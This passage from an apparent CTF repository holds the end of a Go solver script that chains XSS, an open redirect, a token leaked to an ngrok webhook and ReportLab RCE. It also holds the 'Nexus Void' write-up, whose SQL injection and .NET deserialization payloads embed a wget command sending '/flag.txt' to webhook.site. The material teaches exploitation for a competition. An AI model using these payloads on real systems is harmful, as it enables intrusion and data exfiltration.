247 | fmt.Println("[+] triggering reportlab rce via pdf...")
248 |
249 | client := &http.Client{}
250 |
251 | payload := fmt.Sprintf("color=%s", reportLabRCE(cmd))
252 |
253 | req, err := http.NewRequest("POST", CHALLENGE_URL+"/backend/orders/html", bytes.NewBufferString(payload))
254 | if err != nil {
255 | fmt.Println("Error creating request:", err)
256 | return
257 | }
258 |
259 | req.Header.Set("Authorization", "Bearer "+token)
260 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
261 |
262 | resp, err := client.Do(req)
263 | if err != nil {
264 | fmt.Println("Error sending request:", err)
265 | return
266 | }
267 | defer resp.Body.Close()
268 | }
269 |
270 | func getFlag() string {
271 | response, err := http.Get(CHALLENGE_URL + "/phantomfeed/static/flag.txt")
272 | if err != nil {
273 | fmt.Println("Error:", err)
274 | return ""
275 | }
276 | defer response.Body.Close()
277 |
278 | if response.StatusCode != http.StatusOK {
279 | fmt.Println("Error: Status code", response.StatusCode)
280 | return ""
281 | }
282 |
283 | bodyBytes, err := ioutil.ReadAll(response.Body)
284 | if err != nil {
285 | fmt.Println("Error:", err)
286 | return ""
287 | }
288 |
289 | responseBody := string(bodyBytes)
290 |
291 | return responseBody
292 | }
293 |
294 | func run(ctx context.Context) error {
295 | tun, err := ngrok.Listen(ctx,
296 | config.HTTPEndpoint(),
297 | ngrok.WithAuthtokenFromEnv(),
298 | )
299 | if err != nil {
300 | return err
301 | }
302 |
303 | WEBHOOK_URL = tun.URL()
304 |
305 | return http.Serve(tun, http.HandlerFunc(handler))
306 | }
307 |
308 | func handler(w http.ResponseWriter, r *http.Request) {
309 | queryParams := r.URL.Query()
310 | dataParam := queryParams.Get("c")
311 | parts := strings.Split(dataParam, " ")
312 |
313 | thirdElement := parts[2]
314 | decodedBytes, err := base64.RawStdEncoding.DecodeString(thirdElement)
315 | if err != nil {
316 | fmt.Println("Error decoding base64:", err)
317 | return
318 | }
319 |
320 | decodedString := string(decodedBytes)
321 |
322 | re := regexp.MustCompile(`"access_token":\s*"([^"]+)"`)
323 |
324 | match := re.FindStringSubmatch(decodedString)
325 |
326 | if len(match) >= 2 {
327 | accessToken := match[1]
328 | leakedTokenResponse = accessToken
329 | fmt.Println(accessToken)
330 | fmt.Println("[+] leaked access token")
331 | } else {
332 | fmt.Println("Access Token not found")
333 | }
334 | }
335 |
336 | func main() {
337 | go run(context.Background())
338 |
339 | username, err := generateRandomHex(12)
340 | if err != nil {
341 | fmt.Println("Error generating username:", err)
342 | return
343 | }
344 |
345 | password, err := generateRandomHex(12)
346 | if err != nil {
347 | fmt.Println("Error generating password:", err)
348 | return
349 | }
350 |
351 | var wg sync.WaitGroup
352 | wg.Add(2)
353 |
354 | go registerUser(username, password, &wg)
355 | go loginUser(username, password, &wg)
356 |
357 | wg.Wait()
358 |
359 | token, err := extractToken(cookie)
360 | if err != nil {
361 | fmt.Println("Error extracting token:", err)
362 | return
363 | }
364 |
365 | xss := createXSS()
366 | authorizationCode, err := createAuthCode(token, xss)
367 | if err != nil {
368 | fmt.Println("Error creating auth code:", err)
369 | return
370 | }
371 |
372 | openRedirect := createOpenRedirect(authorizationCode, xss)
373 | createPost(token, openRedirect)
374 |
375 | getPDF(leakedTokenResponse, "cp /flag* /app/phantom-feed/application/static/flag.txt")
376 |
377 | flag := getFlag()
378 | fmt.Println(flag)
379 | }
380 |
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/Readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Nexus Void
6 |
7 | 19th Oct 2023 / Document No. D23.xx.xx
8 |
9 | Prepared By: Xclow3n
10 |
11 | Challenge Author(s): Xclow3n
12 |
13 | Difficulty: Medium
14 |
15 | Classification: Official
16 |
17 |
18 |
19 |
20 |
21 | ## Description
22 |
23 | - Disturbingly, a group of malicious individuals has initiated the sale of a dangerous weapon created using 'Serum XY' on the black market, with the intention of unleashing chaos by turning people into zombies. Is it possible for you to employ your hacking skills to dismantle this black market operation and prevent the weapon from falling into the wrong hands?
24 |
25 | # Synopsis
26 |
27 | * The challenge involves exploiting dotnet deserialization via SQL Injection
28 |
29 | ## Skills Required
30 |
31 | * HTTP requests interception via proxy tools, e.g., Burp Suite / OWASP ZAP.
32 |
33 | * Understanding of dotnet.
34 |
35 |
36 | ## Skills Learned
37 |
38 | * Basic understanding of SQL Injection.
39 |
40 | * Basic understanding of serialization and deserialization.
41 |
42 |
43 | # Application overview:
44 |
45 | Visiting the application homepage displays the following authentication page:
46 |
47 | 
48 |
49 | After registering and logging in, we get the following dashboard:
50 |
51 | 
52 |
53 | We can add products to wishlist and remove products from wishlist:
54 |
55 | 
56 |
57 | We can update our username on the settings page:
58 |
59 | 
60 |
61 | That's all the functionality that the application has. Let's take a look at the source code.
62 |
63 |
64 |
65 | ### Source Code Review
66 |
67 | ### SQL Injection
68 |
69 | ```c++
70 | [HttpPost]
71 | public IActionResult Create(UserModel userModel)
72 | {
73 | if (string.IsNullOrEmpty(userModel.username) || string.IsNullOrEmpty(userModel.password))
74 | {
75 | ViewData["Message"] = "Username and Password cannot be empty!";
76 | return View();
77 | }
78 | string checkUserSqlQuery = $"SELECT * FROM Users WHERE username='{userModel.username}'";
79 | var result = _db.Users.FromSqlRaw(checkUserSqlQuery).FirstOrDefault();
80 |
81 | if (result == null)
82 | {
83 | string sqlQuery = $"INSERT INTO Users(username, password) VALUES('{userModel.username}','{userModel.password}')";
84 | _db.Database.ExecuteSqlRaw(sqlQuery);
85 |
86 | ViewData["Message"] = "User registered! Please login";
87 | return View();
88 | }
89 | ViewData["Message"] = "User Already Exists!";
90 | return View();
91 | }
92 |
93 | [HttpPost]
94 | public IActionResult Index(UserModel userModel)
95 | {
96 | string sqlQuery = $"SELECT * FROM Users WHERE username='{userModel.username}' AND password='{userModel.password}'";
97 |
98 | var result = _db.Users.FromSqlRaw(sqlQuery).FirstOrDefault();
99 |
100 | if (result != null)
101 | {
102 | JWTHelper jwt = new JWTHelper(_configuration);
103 | string jwtToken = jwt.GenerateJwtToken(result.username, result.ID.ToString());
104 | Response.Cookies.Append("Token", jwtToken);
105 | Response.Redirect("/home/");
106 | }
107 |
108 | ViewData["Error"] = "Invalid Credentials!";
109 | return View();
110 | }
111 | ```
112 |
113 | The login and register functions are vulnerable to SQL Injection since the application doesn't sanitize user input or use prepared statements.
114 | Once the user provides the correct username and password, the application creates a JWT token using the username and redirects the user to `/home`, aka dashboard.
115 |
116 | ### Insecure Deserialization
117 |
118 | ```C++
119 | [HttpGet]
120 | public IActionResult Wishlist()
121 | {
122 | string ID = HttpContext.Items["ID"].ToString();
123 |
124 | string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID='{ID}'";
125 | var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();
126 |
127 | if (wishlist != null && !string.IsNullOrEmpty(wishlist.data))
128 | {
129 | List products = SerializeHelper.Deserialize(wishlist.data);
130 | return View(products);
131 | }
132 | else
133 | {
134 | List products = null;
135 | return View(products);
136 | }
137 | }
138 | ```
139 |
140 | The wishlist endpoint gets serialized input from the database and deserializes it. This is interesting. Let's check how the application is serializing the data.
141 |
142 | Taking a look at `SerializeHelper.cs`
143 |
144 | ```C++
145 | namespace Nexus_Void.Helpers
146 | {
147 | public class SerializeHelper
148 | {
149 | public static string Serialize(List list)
150 | {
151 | string serializedResult = JsonConvert.SerializeObject(list, new JsonSerializerSettings
152 | {
153 | TypeNameHandling = TypeNameHandling.All
154 | });
155 |
156 | string encodedData = EncodeHelper.Encode(serializedResult);
157 | return encodedData;
158 | }
159 |
160 | public static List Deserialize(string str)
161 | {
162 | string decodedData = EncodeHelper.Decode(str);
163 |
164 | var deserialized = JsonConvert.DeserializeObject(decodedData, new JsonSerializerSettings
165 | {
166 | TypeNameHandling = TypeNameHandling.All
167 | });
168 |
169 | List products = deserialized as List;
170 |
171 | return products;
172 | }
173 | }
174 | }
175 | ```
176 |
177 | The application uses `JsonConvert` to serialize data with `TypeNameHandling.All` options are set, which is not a good idea as described [here](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca2326).
178 |
179 | Let's examine how products are added to the product wishlist.
180 |
181 | ```C++
182 | [HttpPost]
183 | public IActionResult Wishlist(string name, string sellerName)
184 | {
185 | string ID = HttpContext.Items["ID"].ToString();
186 |
187 | string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID={ID}";
188 | var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault();
189 |
190 | string sqlQueryProduct = $"SELECT * from Products WHERE name='{name}' AND sellerName='{sellerName}'";
191 | var product = _db.Products.FromSqlRaw(sqlQueryProduct).FirstOrDefault();
192 |
193 | if(!string.IsNullOrEmpty(product.name))
194 | {
195 | if (wishlist != null && !string.IsNullOrEmpty(wishlist.data))
196 | {
197 | List products = SerializeHelper.Deserialize(wishlist.data);
198 | ProductModel result = products.Find(x => x.name == product.name);
199 |
200 | if (result != null)
201 | {
202 | return Content("Product already exists");
203 | }
204 |
205 | products.Add(product);
206 |
207 | string serializedData = SerializeHelper.Serialize(products);
208 |
209 | string sqlQueryAddWishlist = $"UPDATE Wishlist SET data='{serializedData}' WHERE ID={ID}";
210 |
211 | _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist);
212 |
213 | }
214 | else
215 | {
216 | string username = HttpContext.Items["username"].ToString();
217 |
218 | List wishListProducts = new List();
219 |
220 | wishListProducts.Add(product);
221 |
222 | string serializedData = SerializeHelper.Serialize(wishListProducts);
223 |
224 | string sqlQueryAddWishlist = $"INSERT INTO Wishlist(ID, username, data) VALUES({ID},'{username}', '{serializedData}')";
225 |
226 | _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist);
227 | }
228 |
229 | return Content("Added");
230 | }
231 |
232 | return Content("Invalid");
233 | }
234 | ```
235 |
236 | The wishlist functionality works in the following order:
237 |
238 | **Accessing Request Information:**
239 |
240 | - `string ID = HttpContext.Items["ID"].ToString();`: Retrieves the value associated with the "ID" key from the `HttpContext.Items` collection.
241 |
242 | **Database Queries:**
243 |
244 | - Uses Entity Framework Core to query the database.
245 | - Fetches a Wishlist and a Product based on the provided parameters (`name` and `sellerName`) and the extracted `ID`.
246 |
247 | **Wishlist and Product Handling:**
248 |
249 | - Checks if the retrieved product exists (`!string.IsNullOrEmpty(product.name)`).
250 | - If the product exists:
251 | - Checks if a Wishlist exists and has data.
252 | - Deserialize existing Wishlist data, searches for the product, and returns "Product already exists" if found.
253 | - Adds the product to the Wishlist, serializes the updated Wishlist, and updates the database.
254 | - If the product does not exist:
255 | - Retrieves the username from `HttpContext.Items`.
256 | - Creates a new Wishlist with the product, serializes it, and inserts it into the database.
257 |
258 |
259 |
260 | The application uses username and ID, which are set in JWT when logging in, and the login functionality is vulnerable to SQL Injection, which means we can return any value we want and insert malicious serialized data in the database as the wishlist, but what we can we achieve we the deserialization since we can only call to invoke setter methods.
261 |
262 | Taking a look at `StatusCheckHelper.cs`
263 |
264 | ```c++
265 | namespace Nexus_Void.Helpers
266 | {
267 | public class StatusCheckHelper
268 | {
269 | public string output { get; set; }
270 |
271 | private string _command;
272 |
273 | public string command
274 | {
275 | get { return _command; }
276 |
277 | set
278 | {
279 | _command = value;
280 | try
281 | {
282 | var p = new System.Diagnostics.Process();
283 |
284 | var processStartInfo = new ProcessStartInfo()
285 | {
286 | WindowStyle = ProcessWindowStyle.Hidden,
287 | FileName = $"/bin/bash",
288 | WorkingDirectory = "/tmp",
289 | Arguments = $"-c \"{_command}\"",
290 | RedirectStandardOutput = true,
291 | RedirectStandardError = true,
292 | UseShellExecute = false
293 | };
294 | p.StartInfo = processStartInfo;
295 | p.Start();
296 |
297 | output = p.StandardOutput.ReadToEnd();
298 | }
299 | catch
300 | {
301 | output = "Something went wrong!";
302 | }
303 |
304 | }
305 | }
306 | }
307 | }
308 |
309 | ```
310 |
311 | We can use the following payload to invoke this setter method
312 |
313 | ```json
314 | {"$type":"Nexus_Void.Helpers.StatusCheckHelper, Nexus_Void","output":null,"command":"[COMMAND]"}
315 | ```
316 |
317 | and use the logging payload as `username`
318 |
319 | ```sql
320 | herox' UNION SELECT ALL 8,"herox','eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsIm91dHB1dCI6bnVsbCwiY29tbWFuZCI6IndnZXQgaHR0cHM6Ly93ZWJob29rLnNpdGUvMTVhYTA2ZjgtZWU0Zi00OTdjLTlmMTYtMjJhYjRhMzBmYTljP3g9JChjYXQgL2ZsYWcudHh0KSJ9')--", "herox"--
321 | ```
322 |
323 | the base64 encoded string is the payload here. We can use the payload while logging in so the application uses this value as username in our JWT token
324 |
325 | ```bash
326 | herox','eyIkdHlwZSI6Ik5leHVzX1ZvaWQuSGVscGVycy5TdGF0dXNDaGVja0hlbHBlciwgTmV4dXNfVm9pZCIsIm91dHB1dCI6bnVsbCwiY29tbWFuZCI6IndnZXQgaHR0cHM6Ly93ZWJob29rLnNpdGUvMTVhYTA2ZjgtZWU0Zi00OTdjLTlmMTYtMjJhYjRhMzBmYTljP3g9JChjYXQgL2ZsYWcudHh0KSJ9')--
327 | ```
328 |
329 | And when adding an product to wish it will use the username from our JWT token and since its vulnerable to SQL Injection it will insert our malicious serialized data in the table, and visiting wishlist page will trigger it.
330 |
331 | 
332 |
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/assets/auth.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/auth.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/assets/dash.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/dash.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/flag.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/assets/set.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/set.png
--------------------------------------------------------------------------------
/uni-ctf-2023/web/[Medium] Nexus Void/assets/wish.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/web/[Medium] Nexus Void/assets/wish.png
--------------------------------------------------------------------------------